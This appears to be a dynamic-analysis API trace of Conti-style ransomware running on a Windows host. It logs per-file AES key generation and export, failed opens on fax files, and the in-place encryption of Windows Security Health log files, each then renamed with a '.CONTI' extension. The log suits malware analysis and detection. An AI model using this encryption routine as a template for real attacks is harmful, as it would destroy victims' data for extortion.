	[0117.050] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\confident.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.050] GetLastError () returned 0x5
	[0117.050] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.050] GetProcessHeap () returned 0x1720000
	[0117.050] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f140 | out: hHeap=0x1720000) returned 1
	[0117.050] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.050] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x6b7f338) returned 1
	[0117.050] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x50ff91c | out: pbData=0x6b5370c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.051] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov")) returned 0x20
	[0117.051] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\fyi.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.051] GetLastError () returned 0x5
	[0117.051] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.051] GetProcessHeap () returned 0x1720000
	[0117.051] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740290 | out: hHeap=0x1720000) returned 1
	[0117.051] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.051] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b53b98 | out: phKey=0x6b53b98*=0x6b7f0f8) returned 1
	[0117.051] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53b9c, pdwDataLen=0x50ff91c | out: pbData=0x6b53b9c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.052] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov")) returned 0x20
	[0117.052] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\generic.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.052] GetLastError () returned 0x5
	[0117.052] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.052] GetProcessHeap () returned 0x1720000
	[0117.052] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5f20 | out: hHeap=0x1720000) returned 1
	[0117.052] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.053] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x6b7f2b8) returned 1
	[0117.053] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x50ff91c | out: pbData=0x6b52ba4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.053] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov")) returned 0x20
	[0117.053] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\urgent.cov"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.053] GetLastError () returned 0x5
	[0117.053] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0117.054] GetProcessHeap () returned 0x1720000
	[0117.054] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c57e8 | out: hHeap=0x1720000) returned 1
	[0117.054] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.054] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x6b7f1f8) returned 1
	[0117.054] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x50ff91c | out: pbData=0x6b52dec*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.054] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif")) returned 0x20
	[0117.055] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.055] GetLastError () returned 0x5
	[0117.055] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0117.055] GetProcessHeap () returned 0x1720000
	[0117.055] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fc50 | out: hHeap=0x1720000) returned 1
	[0117.055] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.055] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x6b7f5b8) returned 1
	[0117.055] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x50ff91c | out: pbData=0x6b479b4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.056] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20
	[0117.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.057] GetLastError () returned 0x5
	[0117.057] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.057] GetProcessHeap () returned 0x1720000
	[0117.057] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ac40 | out: hHeap=0x1720000) returned 1
	[0117.057] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.057] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65de030 | out: phKey=0x65de030*=0x6b7f338) returned 1
	[0117.057] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de034, pdwDataLen=0x50ff91c | out: pbData=0x65de034*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.058] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.058] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0117.059] GetLastError () returned 0x0
	[0117.059] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=4096) returned 1
	[0117.059] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.059] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.059] SetEndOfFile (hFile=0x3d4) returned 1
	[0117.059] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.059] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.059] WriteFile (in: hFile=0x3d4, lpBuffer=0x65de034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65de034*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.061] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.061] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.061] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1010) returned 1
	[0117.062] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.062] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1010, lpOverlapped=0x0) returned 1
	[0117.062] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.062] WriteFile (in: hFile=0x3d4, lpBuffer=0x65de028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65de028*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0117.062] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.062] CloseHandle (hObject=0x3d4) returned 1
	[0117.062] GetProcessHeap () returned 0x1720000
	[0117.062] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.064] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.064] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.064] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-082401-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.065] GetProcessHeap () returned 0x1720000
	[0117.065] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.065] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.065] GetProcessHeap () returned 0x1720000
	[0117.065] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e2290 | out: hHeap=0x1720000) returned 1
	[0117.065] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.065] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65de4c0 | out: phKey=0x65de4c0*=0x6b7f5b8) returned 1
	[0117.065] CryptExportKey (in: hKey=0x6b7f5b8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de4c4, pdwDataLen=0x50ff91c | out: pbData=0x65de4c4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.066] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.067] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0117.067] GetLastError () returned 0x0
	[0117.067] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=4096) returned 1
	[0117.067] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.067] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.067] SetEndOfFile (hFile=0x3d4) returned 1
	[0117.067] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.067] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.067] WriteFile (in: hFile=0x3d4, lpBuffer=0x65de4c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65de4c4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.068] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.069] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.069] CryptEncrypt (in: hKey=0x6b7f5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1010) returned 1
	[0117.069] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.069] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1010, lpOverlapped=0x0) returned 1
	[0117.069] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.069] WriteFile (in: hFile=0x3d4, lpBuffer=0x65de4b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65de4b8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0117.070] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.070] CloseHandle (hObject=0x3d4) returned 1
	[0117.070] GetProcessHeap () returned 0x1720000
	[0117.070] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.070] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.070] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.070] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.070] GetProcessHeap () returned 0x1720000
	[0117.070] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.070] CryptDestroyKey (hKey=0x6b7f5b8) returned 1
	[0117.070] GetProcessHeap () returned 0x1720000
	[0117.071] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819e68 | out: hHeap=0x1720000) returned 1
	[0117.071] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0117.071] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65dd958 | out: phKey=0x65dd958*=0x6b7f1f8) returned 1
	[0117.071] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd95c, pdwDataLen=0x50ff91c | out: pbData=0x65dd95c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0117.071] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.073] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0117.073] GetLastError () returned 0x0
	[0117.073] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=4096) returned 1
	[0117.073] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.073] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.073] SetEndOfFile (hFile=0x3d4) returned 1
	[0117.074] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.074] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.074] WriteFile (in: hFile=0x3d4, lpBuffer=0x65dd95c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65dd95c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.075] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.075] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.076] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1010) returned 1
	[0117.076] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.076] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1010, lpOverlapped=0x0) returned 1
	[0117.076] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.076] WriteFile (in: hFile=0x3d4, lpBuffer=0x65dd950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x65dd950*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0117.076] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.076] CloseHandle (hObject=0x3d4) returned 1
	[0117.076] GetProcessHeap () returned 0x1720000
	[0117.076] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
